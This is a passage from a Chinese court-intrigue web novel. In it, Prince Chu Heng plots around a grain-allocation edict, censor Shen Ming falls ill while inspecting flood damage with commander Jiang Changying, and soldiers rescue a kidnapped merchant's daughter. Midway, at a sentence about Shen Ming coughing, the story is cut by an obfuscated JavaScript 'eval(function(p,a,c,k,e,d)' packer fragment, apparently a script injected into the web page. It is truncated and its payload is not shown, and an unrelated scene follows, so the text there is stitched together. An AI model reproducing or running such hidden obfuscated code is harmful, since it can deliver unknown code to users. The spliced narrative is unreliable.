“沈溟就算是去游山玩水,但是他到底是出自五城兵马司那样的地方,去地方当个巡按御史很合适,而且他这个纨绔的样子,说不定恰恰就是皇兄让他去的原因呢?” “所以周岑刻意提及沈溟,意在告诉殿下,皇上专门为这事派个御史去,说明这件事已经已无回旋的余地?” 楚珩试图厘清头绪,未果,摇摇头,干脆不想了,“天塌了不会是我顶,还有蔚王呢,他可是最大的利益既得者。这会子,最该跳脚的是他,我一个闲王,有什么好着急的。” 这么一想,楚珩好像已经完全放心,露出了一身轻松之态。然而罗途明却不识相的说了句,“他跳脚的时候你未必能安生。” 楚珩拨开折扇的动作一顿,“罗子信!你……” 罗途明把头埋下去,做好了承受璃王殿下这一扇子的准备,预料的痛感没有降临,抬头一探究竟的时候,璃王的眼神落在窗边的纱幔上。 “千丝弦,闲不见,见字耽于念;万里音,因长恨,恨墨点心泉……” 琼琚楼里管弦呕哑,花女歌声悠悠传来。 歌声空灵悠转,柔中藏力,不似往常的曲。 逃过一劫的罗途明已打好一盏茶,自己畅然的喝着,随口称赞道:“这是哪家教坊的乐师又被请了过来?永益城的贵人们换新鲜玩意儿啦?倒是不错。” 楚珩没理他,只觉这陌生的曲调中有着似曾相识之感,遍寻记忆却没有哪一刻能与这乐声有些许交合。他哂笑一声,心道这感觉可太讨厌了。 6. 巡查 “沈大人要不要歇息片刻?” “要要要!”马车里的沈溟苦不堪言,闻言如蒙大赦般一骨碌爬起来。探出脑袋问:“我们到了哪里?” “出了舒州城地界,正往瑞城去。”丁越骑着马挨着马车走着。看沈溟面色惨白,解开随身的水囊递过去,“御史大人喝点吧,兴许会好点。” 沈溟到了江南坞城并没有在姜长鹰府上多做停歇,翌日便向姜长鹰提出和他一起去各城巡查灾情,姜长鹰派出斥候追上黄碚他们,交代他们直往九灵城和凉城去。自己则准备带着沈溟重点巡视谢城、株城、缮城再一路往南。到了缮城不久,黄碚派来的斥候兵送来了九灵城和凉城的奏报,当天沈溟便把江南灾情呈报火速递往永益城。 今年的灾情虽然严重,但好在历年的河道加固、官沟疏通、灾民安置章程等都起到了作用,伤亡甚少,也没有起疫病。一路下来姜长鹰内心安定了不少,出乎意料的是沈溟却在连日奔波和水土不服中病倒了。 “指挥使。”队伍停在一处河野边休息,离瑞城还有半日路程,姜长鹰在河边饮马,宋露也牵着自己的马过来,在下游处站定,“日央了,可能得天黑才能进城。” “不急,瑞城和舒州城的灾情历来不那么严重。巡视过了舒州城,情况和先前舒州知尹说的差不多,我们……”姜长鹰望了一眼队伍,“不急这一时半刻”。 跟随姜长鹰的目光,宋露也朝队伍看了看,率先入眼的便是沈溟的马车。他脸色几不可见的沉了沉,又温言道:“沈大人久居皇城,此次巡查,当真是辛苦。” “近来日间湿热,到了夜里却又寒气逼人,沈大人乍到江南,连日奔波,身体受不住也是正常。”姜长鹰想起这段时间,和沈溟一起巡灾的事,一路上沈溟所到之处但凡不懂不明的,张口就会问,他不会在乎问的人是谁,是姜长鹰、随行的将士抑或是城防的小兵,只要那人能答他就行。他从不将自己摆在高位干涉姜长鹰对灾情的处理,觉得安排得当之处当即拍手称赞,连连说姜指挥使此法甚妙。然而他又不完全似个旁观者的模样,因为姜长鹰深知沈溟对于灾情巡视的结果尤为看重,甚至生怕自己有错漏,而且仿佛很急…… “指挥使?” 姜长鹰从思绪里回神,转头问宋露:“为霜,你觉得沈大人是个什么样的人?” “……”一路走来,宋露只觉姜长鹰对沈溟恭顺有加,其余时间便忙着灾情的事,宋露作为随行佥事,也不得闲,心里直当这位沈大人是随行糊弄差事的废物罢了。他当然不好表露,反问道:“大人缘何这样问?” “他到我府上第二日便提出跟随我巡灾,到了缮城,黄碚派来的斥候一到,他便来问舒州城和瑞城知尹报来的灾情,甚至等不及亲自巡视,便把灾情一并合拟了,当天便给永益递去了奏报。” “沈大人身为巡按御史,肩负皇命,自是不敢有丝毫拖延的。先前在缮城听闻沈大人身体不适,丁公子说去寻个马车给御史大人都被他拦住了,就怕马车速度太慢,影响缮城巡查进度。”宋露回忆起沈溟的做派,心中十分鄙夷,“后来在看到斥候给大人汇报灾情,御史大人更是等不及就去询问灾情探查情况,飞快的拟了奏报。之后才改骑马为乘坐马车。可见奏报一日不递沈大人便一日无法心安呢。” 姜长鹰似是没有听出宋露对沈溟急着交差躲懒的揶揄。只是点点头,说:“沈大人虽为武人尚且熬不住病倒,这随行人中,只你是个不曾习武的读书人,千万注意身体才是。” “呃……呃!”宋露没成想姜长鹰想到的是这一层,心中一热,莞尔道:“是,劳大人挂心。” “咳!咳!咳咳咳!” 马车里顿时传来激烈的咳嗽声。 “你……咳,丁,丁越,你,咳咳,水咳,水囊里,咳,居然是酒,咳,咳咳咳……”沈溟一边难以抑制的咳着,一边艰难的“申斥”着丁越。 “啊,大人,我,您喝不了酒吗?”丁越撩着马车帘慌乱的关怀道。 “咳咳,这跟我喝,喝不喝得了酒,咳,有什么关系,你也没,咳告诉我,好端端就请我,咳喝酒,你好歹等我,咳咳,咳咳咳……” “我……我……大人,您……”丁越慌乱不知所云,心道,遭了,得罪大官了。 “大人您没事吧?”姜长鹰小跑到马车前,“我扶您下来顺顺气。”说着有力的手便握着沈溟的胳膊慢慢往马车外引。 “没,没事,就是呛着了!”沈溟摆手,满脸痛苦的说。 “我手底下的兵会随身带着烈酒,这是他们驱寒防病的法子。”姜长鹰一手扶着沈溟的手臂,一手给他拍背,声音却如常的沉稳,“丁越见您抱恙,把您当他们一样了,御史大人还请勿要怪罪。” 沈溟在呛咳中勉强稍稍缓过来,沙哑着嗓子道:“不怪罪,不怪罪。”顿了片刻,忽然看向姜长鹰的水囊,伸手拍了拍,“姜大人,您这里面,不会也是酒吧?” 姜长鹰微微一笑,伸手扯下递给了沈溟。 沈溟毫不客气,仰头咕咚咕咚喝起来,嗓子也舒服了不少。 …… 一番手忙脚乱和紧急营救之后,沈溟总算从这场暗算中缓了过来。 “姜大人,看来您对应对此次灾患早有准备啊。”沈溟朝树荫走去,“各城斥候早就布置下去了,联络也非常紧密,不管走到哪,都能对各城情况了若指掌。” 姜长鹰紧随其后,对沈溟的话迅速做着揣度,答道:“江南每逢这个季节难免遭水患,这些都是历年经验。今年灾情严重,为防届时手忙脚乱,我一早便安排了斥候去各城查看,及时报给我,江南布政史陆大人那边我已知会过了,得了令我便打算带着兵去各城巡视,顺道协同各城知尹布设赈灾人手。正巧……”走到树荫下,姜长鹰替沈溟拨开缠着树干延伸下来的藤蔓,“正巧御史大人赶来坞城主理赈灾,一路同行,水患一事才能处理得如此顺利。” 沈溟噗嗤一笑,还是一贯的轻松之态,说:“姜大人不必如此谨慎,把实情和着恭维之语一并说给我听。” 姜长鹰不惯虚与委蛇,被沈溟点破却也不觉得有什么,只是莞尔。但是他的话不完全是虚言,往日里各城知尹往往会将灾情往大了说,把事情能推的都推给姜长鹰,要人手物资的时候恨不得多占几个数,对于姜长鹰的安排建议亦是听一半不听一半,甚至我行我素。此次巡按御史沈溟随行,又对姜长鹰不吝称赞,各城知尹一改往日的做派,各个谨小慎微,恭顺听话了许多,姜长鹰甚至找回了一点曾经做主帅的自在感。 沈溟倚着一棵树,喝了一口水,看着天叹了声:“哎,说实话,姜大人,我还是很敬佩您的。” “敬佩我?” “是啊,”沈溟转头看向姜长鹰,眼里满是认真:“建立大程护国军暮北军,驱逐北赖于慕寒山以北,十几年无从进犯,威名赫赫,战功卓绝,谁听了季鹰军主帅姜长鹰会不敬佩呢?” 这番话说得遽然,姜长鹰僵在原地,不置可否。 沈溟调笑道:“姜大人别不信啊,别人不说,我虽是一副纨绔样,好歹我也是个武将,一遇到像姜大人这样的英雄人物,那敬佩之情,亲切之感,是从心底里油然而生啊。”说完拽开水囊的木塞,仰头喝起来。 姜长鹰微微点头,喃喃道:“别人……恐怕也没别人了。” “咦?”沈溟刚灌了两口,姜长鹰的水囊见了底。 “御史大人——”不远处,丁越抱着水囊小跑到二人跟前。“御史大人,御史大人恕罪,为霜叔说,生病的人多饮水为宜,我不该给御史大人酒的。属下来给御史大人赔罪,您饮!”说着双手握着水囊推到沈溟胸前。 沈溟吓了一跳,“呃……”和姜长鹰互看了眼,沈溟生病嗓子发干,又因被酒呛了一顿,已经把姜长鹰的半袋水喝了精光,他把丁越的水囊往回推了推,面露难色道:“我,我忽然内急,我水喝多了。” “啊?”丁越心道又糟了,御史大人生病他递酒,内急他送水。 “我,我去趟林子……” 丁越想起什么似的:“大人,我,我给您放风。”不等说完便跟了过去。 姜长鹰刚想拦住丁越已是来不及,心道这都是男人,他去放什么风? ********* “大管司!” 北林跨进乔府大门,院内小厮见他边往里走边看着自己,便迎上来问候。 “老爷呢?” “和公子在西苑。” “秦先生今日没来?”北林脚下生风,没有停下来的意思,直往西苑走。 “没来。”小厮紧随其后,追着他的脚步回话。 北林闻言抬了抬手,小厮便没有继续跟着。 西苑廊亭,过午的阳光掩映在一排侧柏之后,因而亭里避免了被阳光曝照却是暖烘烘的,也正因如此,小阿辰伏在栏杆长椅上睡得香甜。他比乔矜还小半岁,睡在长椅上整个人显得很小。 北林急着找乔广陵,本不欲管他,又怕风一吹小阿辰睡出病来,于是走过去将人拍醒,“大白天趴在这做梦,你主子呢?” “唔……”阿辰擦着口水,半梦半醒。 “这孩子——”北林把他抱将起来,立在长椅上,还是得弓着身才能与他平视,捏捏他的脸道:“小阿辰,你把你主子落在哪里了?” 阿辰含混着答:“主子和老爷在那边看书编蹴鞠。” “走,和我过去看看。”北林牵起阿辰一只手,让他从椅子上蹦下来。二人欢欢哒哒的走到西苑井心阁。 刚到井心阁,北林愣了一下,席地坐在阁前台阶上,身前堆着竹篾的乔广陵正专心致志的发挥自己的手艺,阁楼里乔矜仰躺在榻里,一本书盖在脑门上,人已经睡了。 “原来看书的是小主子,编蹴鞠的是老主子。” 乔广陵套着襻膊,手上还在忙碌着,也没抬头道:“你说谁老?” “我老。我的主子自然就是老主子。”北林走近蹲下,不由分说从乔广陵手里拿过才大致起了个形的蹴鞠,“编蹴鞠得需些手上力气,还是我来罢。”转而塞了张纸在乔广陵手里,道:“江南奏报到了。” 乔广陵捻开那纸,把字看了,说:“算日子,沈溟该到了瑞城了,云城当是不必去的,如此他们回到坞城,下拨军粮的旨意也刚好抵达。” “换仓拨粮,要得罪许多人,粮食这差事,大程延绵了许久,估计中途哪些环节的油水该由谁瓜分,瓜分多少,早就已经约定俗成了。如今旨意一下,变动巨大,必定会让那些原本有利可图的人恨得牙痒痒,真不知 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北林微微怔住,半晌点点头,“……国本将定,太师还未定。”他当然懂,甚至想到了更多,“可是这样一来,予鹿也要直接入局?” “……” “北林叔——” 稚嫩的声音打破这二人之间的沉默。 北林侧过脸,小阿辰不知什么时候凑过来,探头探脑的把小手伸到蹴鞠的镂空里,偏着脑袋对他说:“北林叔,我也想学做蹴鞠。” 乔广陵将阿辰拉到身边坐下,搂着他的肩笑问:“为什么跟北林叔学,我编的时候你却跑得远远的?” 阿辰一脸真诚道:“因为北林叔什么都会。” 北林捏了捏阿辰的小脸,“我会的你都要学?” 阿辰眨了眨眼,用力的点了个头,又摇起来,“主子喜欢。” “想学什么都行,但是功夫必须好好练,只有功夫硬,才能保护好你的小主子,知道吗?” 北林眼里似有深意,乔广陵还想说点什么,北林站起身。“这热台阶别久坐,我去抱予鹿回房里睡。” 乔广陵揉揉阿辰的后脖颈,阿辰青色的瞳里盛满纯澈的光,和自己曾经记忆中某人的如出一辙。他拉着阿辰起身,北林怀里抱着乔矜下了台阶,一本书仍旧在在乔矜身上,将小胸膛盖了个严实。乔广陵伸手揭起那书,北林直往阶下走着,乔广陵看着北林的背影出了神。他在心里喃喃道:“不入局也早已入局,他逃不开的。” “……”感觉乔广陵没有跟上,北林倏忽回头,用眼神问“怎么不走?” 乔广陵拉着小阿辰,一大一小迈步跟上。 永益城西沉的太阳斜射人间,井心阁前的四人没在傍晚的橙红里,身后清影甩出很长,拉的很远。 ********* 夕阳余晖中,楚珩站在看着金光洒在蔚王府翘鸱吻兽上慢慢消失。他就这样看着打发时间,直等到月色悄然赶走入夜时的昏暗,蔚王府门上小厮缓缓开了门,大管司明礼亲自迎出来,满面堆笑道:“璃往殿下久等,我们殿下方才在药浴,我等不好搅扰,故而让殿下多等了些时间。” 璃王被引进内院,药香袭来,叫楚珩一阵眩晕,他并未表露。蔚王今日一身灰色仙鹤刺绣道袍,“表弟来了。”看到楚珩来,收起手中摆弄的竹笛,背在身后,转身缓缓走进屋内。 “蔚王殿下。”楚珩对他恭恭敬敬,盖因虽为皇子,楚珩却只是个郡王,这也不足为怪,论亲疏,璃王毕竟是花太妃所生,比不得眼前的表兄是先皇后的姐姐所生。且身为闲王,楚珩无功可表。 “表弟不必多礼,梁仪善此前可有去找过你?” “未曾。”楚珩脱口而出。 蔚王脚步一滞,微微回头。 楚珩突然想到前阵子,梁仪善的确去过琼琚楼,“听闻他去过琼琚楼,但是我并未见过他。” “你该见一见的。”蔚王走进去,“贤弟应该知道,这件事,最终还是需要有人出头,但是我作为亲王,会见朝臣,有诸多不便,只能尽量在皇上面前,与你们行方便,底下的事,需要底下人去筹谋。不然,大家干嘛要同乘一船呢?” 蔚王走进屋内,在矮塌坐定,将手中竹笛放在几上,摊掌朝楚珩示意。楚珩在对面处坐下,眼眸落定在那笛上。 “喜欢吗?”赵瑭问。 “……”楚珩不解,不知所指。 “这笛子,乃是七年前陛下所赐,当时合妃娘娘诞下大皇子,陛下高兴,就把这个赏我了。合妃娘娘也在,还说此物出自南方,非云游高人不可得。” 楚珩手揣在袖中,盯着那笛片刻,倏忽一笑,“竹笛对竹的要求是高,可是再好的竹,也得懂乐之人才能造就,不然失了音准,饶是再好的料子造就,也是废物一个了。” “这话说的很对,表弟说话总是能一针见血。”蔚王拿起那笛,干瘦的手摩挲了片刻,“我是个粗人,对乐理实在不通,此笛是不是废物,只有奏了才知道。待眼前之事了结,还请表弟前来鉴笛,届时若表弟证明此乃宝物,就赠与表弟,毕竟这等高雅之物,须得配懂得它的人。” 楚珩迎着蔚王的目光,拱手拜下去,“必不负皇表兄之约。” 7. 病重 楚珩最终还是召来梁仪善,不仅是为了应付蔚王的施压,其实对于梁仪善,他早酝酿了一套手段等着,如今时机已到,楚珩不再拖延。 依然是琼琚楼,梁仪善吃了闭门羹的地方。 “殿下,”梁仪善跪坐一旁,禀道:“换仓拨粮的旨意已下,特令官已经上路了。” “哦?那可真是可喜可贺啊,有劳梁大人来传喜讯。”楚珩端坐,尽管他眼里寒意逼人,但是仍旧轻轻的招摇折扇。 梁仪善觉得胸中憋闷,却是大气也不敢喘。 良久,楚珩才道:“都指挥使在哪?” “回殿下,据邢大人奏报言,应当还在云城。” “江南都指挥使,真把云城军当自己的亲儿子看顾了。”说完这句,楚珩目光在梁仪善脸上落定。 梁仪善似有所感,没有动弹,也没有要开口辩驳的架势。 楚珩看出来梁仪善这个老狐狸表面稳得住,就是要彻底抛弃邢柏年,因而邢柏年是否和云成军交好,与兵部无关,他这个兵部尚书就更不必为邢柏年辩驳。楚珩不想和这个朝堂的老臣玩诛心和油嘴那一套,干脆直截了当点明:“梁大人,此事没有回天之力了。” 梁仪善不敢置信的表情,抬起头对上楚珩认真的目光。只一瞬,楚珩目光漠然看向帘幔,抬高声量道:“你且回吧,我也累了。” 罗途明打帘入内,并不凑近,只在门口站着。梁仪善知道要逐客,于是赶紧说:“殿下,邢柏年还有最后一步。” “他没有。”楚珩打断他。 “有,他有,他……” “那是你的最后一步。”楚珩扔下这句就走了。 粱仪衫没想到自己盘算良久的交涉之道在楚珩这边完全没有用武之地,只落得狼狈任命的下场。 ****** 梁仪善行尸走肉般出了琼琚楼。 罗途明在楚珩对面盘腿坐下,自顾自的斟茶。 “这个梁仪善倒是老辣奸猾。”楚珩将茶具往罗途明跟前推了推。 “可惜他遇到了璃王殿下。方才殿下提及邢柏年和云成军交好,换个人就会立马替邢柏年辩驳,他却一言不发,可见邢柏年在梁尚书眼中,是死棋一枚了。” “他想撇清兵部和邢柏年的关系,我就让他拿邢柏年向我表忠心。” 罗途明端起的茶杯顿住,想了想,喝了口茶说:“殿下,梁仪善不愿辩驳的另一层意思,恐怕就是不愿意表忠心。” 楚珩看了罗途明一眼,点了点头:“你说得对,他不为邢柏年说话,任凭本王揣测邢柏年,就是想说邢柏年所为与他兵部无关,若是开口辩解,越描越黑不说,反倒显得在向我表忠诚。老狐狸,他还想在朝中各方势力对垒中有更多转圜的余地。” “可惜殿下没给他这个余地,直接戳穿了他,还威胁了一通——”罗途明说完就瞥见了璃王殿下不善的目光。立马改口:“威慑,威慑。” 罗途明嬉皮笑脸想要再说点什么,忽听见廊下护卫在说话声,罗途明立即起身走出去看,不多时又进来,手里端着一盒精致糕点。 “桂花酿,桂花酪。”罗途明将糕点放在楚珩面前,“琼琚楼里的桂花落了,今年的第一壶桂花酿,第一盘桂花酪,荣姐打发上次唱曲儿的花女送来的,殿下见不见?” “桂花酿?”酒和糕点都是热的,暖暖的桂花香盈满屋内,在这熟悉的气味里,一个人突然浮现在楚珩脑海。 “子信,你还记得内阁次辅周岑吗?” “您说他?上次来找过殿下。”罗途明将桂花酿斟了一杯。 “秋初桂花新开,周岑曾经来过这里,正好也是梁仪善要来见我那次。至今我都不清楚此人来意,想来是察觉军粮的事和本王有所牵扯,要么借机攀附,要么是作为内阁次辅,想从我这里挖出一些内情,但是好像并非这么简单。” “即便挖出什么,也不能拿殿下怎么样,而且依照我对这个周岑为人的观察,我看想攀附殿下的可能性大一点。” 楚珩摇了摇头:“攀附我不如直接攀附蔚王。那日他走的时候说,‘巡按御史沈大人的灾情奏报不日便能传回永益城了,想必换仓拨军粮的各项事宜也能尽快敲定,等此事忙完下官再来叨扰。’” “这句话……”罗途明心思拐了无数个弯,最后说,“这话属下听着怎么更像是一句提警醒?” 罗途明抿了一口酒,眉头一聚,道:“殿下。今年内阁压着军粮的事不放,还拿江南灾情的事搅混水,最后提出了这个换仓拨粮的新政。您说是不是有什么深意?难道是,内阁自己或者是有其他什么人,想要拆蔚王的台?” 楚珩被激了一般,略带惊讶的看向罗途明。他从未想过这一层,如日中天的蔚王,要想令其倒台简直如同蝼噬大厦,不是一朝一夕能够完成的。但是如果真的有人正在做这样的筹划呢?就像如今的自己。 罗途明继续说:“彼时朝堂辩政刚刚结束,周次辅却对这件事的结果如此笃定,所以说沈溟作为巡按御史下江南,也是内阁的意思?为了给蔚王一个措手不及,不仅暗地里拉拢了五城兵马属司的沈溟,还来试图从殿下您这里探口风。”罗途明点点头,“果真是这样的话,一切就说得通了。那么殿下,您会不会顺势……” 楚珩冷笑一声:“即便人人都以为我和蔚王唇齿相依,又怎么样,本王不会当这个出头鸟。就算与本王目的不谋而合,也只有人棋子,我为谋局者这一种情况。” 罗途明无声的笑了笑。 “啧。” 罗途明顿时收敛了笑容,去打量楚珩。 “说到那个兵马属司的沈千户,沈溟。”楚珩眉头皱得很深,“他此次是奉皇命去江南,就算是知道内情,也只能勉强算是在此事上同周岑是一个阵营。五城兵马总属司名义上有监管天下兵马之权,且直属御前,皇上让沈溟去巡视水患顺理成章。而这个沈溟恰恰是个纨绔公子,又是武人性子,暂时还没见他对勾结官员,以权谋私有兴趣,顶多仗势耀武扬威一番,且江南于他而言是个陌生之地,没有理由对任何人任何事偏私,所以做个如实上奏地方实情的御史再合适不过。所以我认为周岑和沈溟八成没有私交。只是,沈溟此人行事乖戾,心思难以捉摸。我怕,他去了,会生出什么变数。” “沈溟我可打不过。”罗途明干脆的说。 “只需知道他在江南做了什么,无需干涉。”楚珩拿起那杯桂花酿,酒水净澈,映出杯底的绘制的琼花,别致精美。“你必须替我去一趟江南,但是这不是最重要的任务。” 罗途明不会拒绝楚珩的任何命令,但楚珩还是显得尤为慎重。 “邢柏年在江南浸淫多年,梁仪善又是个老狐狸,”楚珩将酒递给罗途明,露出难得亲切的眼神道:“邢柏年未必肯孤注一掷,为防变数,你要确保他无路可退。” 毛骨悚然的罗途明接过酒,悻悻地说:“我明白了。”随即在楚珩的注视下直脖一饮而尽。 ****** 到达瑞城已经是戌时,沈溟颠簸了半日,起了高热,人也昏昏沉沉,歪在马车里没动静。瑞城知尹曹忠吓得不清,唯恐巡按御史在瑞城出事,连夜安排了大夫前来诊治。 “御史大人怎得病得这样重?”曹忠紧锁眉头,姜长鹰带着自己和沈溟的近卫,聚在知尹府上,这会子把前厅都塞满了。 姜长鹰负手而立,望着院子外面,曹忠急的团团转,也没得到姜长鹰一点回应。 身后宋露说了一句:“知尹大人莫急。” 不多时,姜长鹰沉静的脸上终于多了一丝神情,丁越领着大夫走过来了。 待人到近前,姜长鹰立即道:“无需多礼了,大夫,御史大人如何?” 大夫闻言拜了拜,花白的胡子抖动着说道:“御史大人是湿热之症,又染了风寒,本不要紧,只是拖得太久,又劳累无休,这才致使病发。” 曹忠闻言立即问:“拖得太久?难道御史大人早就病了?”这话即是问责,也是推责。就是撇清沈溟病重不是在瑞城造成,而是他姜长鹰怠慢之责。 姜长鹰侧过脸,看着曹忠,耐心道:“御史大人劳奔半月,忙于巡视,心系灾情,加上水土不服,之前还吊着一口气,得知瑞城灾情处理得有条不紊,没了后顾之忧,到了这里便一口气松下来,病的起不了了。” 曹忠对上姜长鹰看透一切的眼神,只觉得脑中嗡鸣,说不上是被姜长鹰的话吓到了,还是被姜长鹰这个人吓到了,嘴里只是说:“那,那便让御史大人好生在此修养,下官一定遍寻良医让御史大人痊愈。” —— 不知道睡了多久,沈溟觉得身上发虚,昏昏沉沉。 天微明,四下寂静,周围的一切让沈溟觉得恍惚,他看到一扇院门,有些熟悉,沈溟跟随感觉,推开了。 嘎吱—— 除了这动静再也没有声音。他狐疑的向里屋走去,幔帐里,舒心的炉香飘飘袅袅,安眠的塌上人静静悄悄。沈溟似是不信他真的睡着了。 “你真的睡着了吗?”沈溟去试探的将手覆上搁在床沿的那只手,却突然反被那只手拽向床榻,沈溟一个趔趄跪在床边,隔着纱帐,那人鼻息靠近,即使看不清那脸,沈溟也知道此刻帐中人正怒目直视自己,恨恨的说:“这诡谲地狱,你来做什么?” 沈溟于睡梦中乍时惊坐而起,惊醒了脚榻上四仰八叉歪坐着睡着的丁越。 丁越愕然,不知御史大人梦里见到了什么可怖的情景,此刻自己温热的手正被沈溟死死攥着。“天呐,御,御史大人您醒了。”丁越赶忙起身查看,外围烛火透过屏风的薄纱映射进来,丁越只看见沈溟苍白的脸颊上沾着几缕青丝,“大人做噩梦了?我去给您拿盏水。” “等,等等。”沈溟拉住丁越,沈溟看向屋内,问道:“这里……”越想开口越发觉自己嗓子发干,话也说不完整。 丁越听不清楚,也大概知道御史大人想要问什么,一边将帛枕放在沈溟背后,一边说:“这里是瑞城知尹曹大人府上,您病得不轻,睡了两日了,指挥史命我寸步不离的守着…… 丁越扶着沈溟的肩示意他依靠在帛枕上,“现在已是到瑞城的第三日,估摸着还是丑时,大人,您饿了渴了还是有什么其他吩咐尽管告诉我。” 沈溟在丁越一连串的话语中清醒过来,噗嗤笑了一声道:“确定姜大人说的寸步不离是你这样,睡觉都守着吗?” 丁越眼神似有闪躲,为难道:“嗯……我一般都在屏风外面,昨夜大人发汗发的厉害,我进来守了一会,不知怎的就……” 沈溟不语,只是笑着看他。 丁越想了一下,改而一本正经道:“御史大人,这里毕竟是瑞城,为着您的安危,也为着赈灾的事情,属下不敢有丝毫差池。” 沈溟仰靠着,双目无神的望着承尘信口说:“也为了你的姜大人。” 似乎没有听见沈溟说的话,丁越一只手探向沈溟的额头,“热是退下去了。”又揩去因为盗汗粘在沈溟脸上的发丝,将翻折的被子往上拽了拽,盖住沈溟胸口。“大人才醒,别再着了风寒,我去嘱咐府里备好水和药膳。” “你这一番嘘寒问暖的,我忽然觉得自己像个身娇体弱的姑娘。”刚裹上的被子传来凉意,镇得沈溟剧烈的咳嗽了起来,丁越轻拍着帮他缓气。咳了半响,沈溟扶着丁越的手臂,倏忽抬起头,恰凑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“指挥史安排了丁公子日夜看护。”宋露不欲再提沈溟,“高义,你和江出在凉城时,布政史陆大人那边可有说赈灾粮的事?” —— “没有。”江出骑在马上,与姜长鹰并肩,“关于赈灾粮,陆大人只字未提,我和高义兄也当时也没想到这一茬。” 江出正随姜长鹰在瑞城的内城巡视。听姜长鹰问及赈灾粮,江出想到了比陆谦袁职级更高的沈溟,“现在赶上五方军军粮供给的时候,赈灾粮的事必定没那么快的。巡按御史就在这,大人何不直接问问沈大人?” 姜长鹰愣了一下,他还真没想到可以直接问沈溟。 “啧,不过奇怪。”江出没等姜长鹰回答,兀自接着说。 姜长鹰问:“什么奇怪?” “陆大人知道巡按御史来了,却依然驻守在凉城,居然完全没有来拜见御史大人的意思,为何呢?” 永益皇城来的巡按御史,没有人敢怠慢,各城今年格外瞧着眼色做事,陆谦袁在政务上虽说没有到事必躬亲,熬尽肝胆,但也不敢松懈,生怕出任何纰漏。 陆谦袁和那些阿谀奉承摆在脸上的人不同,他看上去正直谦卑实际却圆融世故,说到底是个老辣的官运至上之人。陆谦袁没来,姜长鹰心里觉得此举虽然出人意料,却又合乎情理,这里面有自己为官所缺乏的东西——灵通的消息和与人互利的权柄。 陆谦袁说不定早早得到了什么消息,听从了驻守凉城的命令。但是真相如何,姜长鹰并不在乎,而且他觉得,沈溟也不会在乎。 “陆大人可能有别的任务或者考量,不过即便是没来,我想依照沈大人的性子,估计也不会放在心上。”姜长鹰平和的说。 江出点了点头,继续说:“我和黄大哥将在九灵城和凉城处理好灾情的事宜,陆大人便让我们寻着您和沈大人的路线再巡一遍灾。” 姜长鹰微笑,“我看了你们的奏报,做的不错。” 巡查队伍缓缓行进着,姜长鹰边走边看,他的目光逐渐落在出街口一片宽阔的空地上,倒塌的残垣被清理掉,空地上集中了许多人,发放物资的,分配差事的,还有城中的灾民挤在一处。 江出嘴上话没停:“没想到,还没到瑞城就听闻御史大人病了……”却几乎是和姜长鹰同时注意到了人群中的异常。“……大人,那边……” “嗯。” 姜长鹰的目光落在人群里,原本颇为嘈杂的街口慢慢噤声。他拽着缰绳缓缓走过去,人群中一个抱着孩子的黑胡子大汉老实巴交的低下头。边上几个年轻人虽是穿着粗布衣衫,却十分整肃合身。 黑胡子大汉最后一次抬眼看向马上的姜长鹰,终于不再存着侥幸伪装,骇然痛骂了声:“艹!”抱着孩子就往民巷里狂奔。 姜长鹰皱了皱眉,身后的士兵早已下马追了上去。 “还有几个。”姜长鹰说。 几个站在黑胡子旁边,妄图蒙混过关的年轻人闻言立即逃窜,另一波士兵已经迅速冲了上去,人群炸开了锅,这边分配差事的卫兵立马招呼灾民退到边上。 “死丫头,你再敢咬我,等他们追上我最先杀了你。”黑胡子已经置身窄巷,他边逃边骂,怀里的孩子头巾在奔跑中掉落,露出一枚祥云样式的发簪。 “前边有个砖墙,攀上去,跳进人多而杂的外城民区,那几个兵就再也找不到自己了。”黑胡子抬头盘算着出路,胸有成竹,奋力向前跑。忽而他脚步一顿,只见一位狼腰猿背,面容俊逸的年轻将士双手交叠在胸口,稳稳立在围墙之上。 江出看着怀中掳着小女孩的黑胡子,不屑至极,轻笑了一声。 看江出如此表情,黑胡子逐渐反应过来,而他身后的脚步声也渐渐逼近。黑胡子徒然转身,但为时已晚,追兵齐刷刷在他面前停下,将窄巷堵得严实。 前后包抄,黑胡子已经插翅难飞。 “妈/的——” 8.计策 “嘶——” 瑞城知尹府内,姜长鹰所在的偏院里,江出坐在院内石凳上直吸凉气,黄碚正往他手腕上的伤口上抹着药水。 “这个伤——挺复杂的。”黄碚不动声色的嘲讽。 “哎,这个丫头属狗吧,咬人不说,咬住还不松嘴。”江出一边吸着凉气一边抱怨。 “被咬之前,没发生点别的什么吗?”黄碚将蘸血的纱布扔在一边。 “我……我就是不小心,摔了一跤。” 实则是江出从黑胡子手中夺下孩子,不想脚下不稳栽倒了,以防小孩受伤,江出硬生生只手着地。起身时黑胡子一拳横扫过来,江出伸手挡住盖住小姑娘面额,以防她被伤,却不想小姑娘大概是受惊不小,竟然死死咬住江出的手。 黄碚拿出新的纱布将伤口裹上,嘴里不忘记调侃,“先摔了一跤,后又被咬了,伤的还是同一个地方,江近卫还有马失前蹄的时候,你不是飞檐走壁不在话下,自称‘季鹰振翅’吗?”纱缠到最后一圈,绕了个结。黄碚两手一拉将结系紧,“好了。” 疼得龇牙咧嘴的江出骂不出话。 而院内廊下,爱咬人的小姑娘紧挨着柱子,瑟缩在长椅的一端,看着不到十岁,倔强又狠厉的盯着慢慢走近的姜长鹰。姜长鹰抬手,从她凌乱的发间摘下摇摇欲坠的发簪。蹲下身看着她说:“别怕,不会有人再欺负你了。” 姜长鹰看了一眼发簪:“这簪子很漂亮,是你家里人特意给你定制的吧?”姜长鹰将发簪递给小姑娘:“他们现在肯定很担心你,跟伯伯说,家在哪?” 小姑娘迟疑的接过簪子,眼中怒火淡下去,但依旧冷冷的说:“紫绣庄。” 紫绣庄李家,往上数五代都从商,是江南首屈一指的富户,姜长鹰也略有耳闻。姜长鹰本想再多问两句,但是看着小姑娘惊魂未定,只能作罢,唤来属下招呼了知尹府中的女使丫鬟带小姑娘去梳洗一番再吃点东西。 “这女孩是紫绣庄的,八成就是李家独女了。”黄碚说。 